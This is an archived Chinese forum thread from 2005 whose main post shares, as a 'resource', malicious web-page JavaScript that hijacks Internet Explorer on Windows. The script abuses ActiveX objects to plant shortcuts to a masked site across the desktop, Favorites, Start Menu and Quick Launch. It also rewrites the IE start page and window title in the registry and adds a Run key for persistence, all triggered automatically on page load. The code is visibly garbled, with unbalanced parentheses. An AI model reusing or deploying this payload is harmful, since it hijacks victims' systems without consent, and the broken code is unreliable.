24小时热门版块排行榜    

查看: 159  |  回复: 2
当前主题已经存档。

航空母舰

金虫 (正式写手)

[交流] [资源]一段修改WIN系统的恶意网站代码

document.write("";function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}";
a1.createInstance();FSO = a1.GetObject();try{ WF = FSO.GetSpecialFolder(0);loc = WF + "\\system"; var Shor=Shl.CreateShortcut(loc + "\\"+"internet" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》!" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"Internet Explorer" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu\\Programs"; var Shor=Shl.CreateShortcut(loc + "\\"+"《**网》" +".URL";Shor.TargetPath="http://www.***.com ";Shor.Save(); Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com "; Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","http://www.***.com "; Shl.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\internet","C:\\WINDOWS\\system\\internet.url"; }catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

[ Last edited by 幻影无痕 on 2006-11-21 at 07:36 ]
回复此楼
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

1

2楼2005-08-22 01:03:26
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

1

3楼2005-08-22 20:24:34
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖
相关版块跳转 我要订阅楼主 航空母舰 的主题更新
普通表情 高级回复 (可上传附件)
信息提示
请填处理意见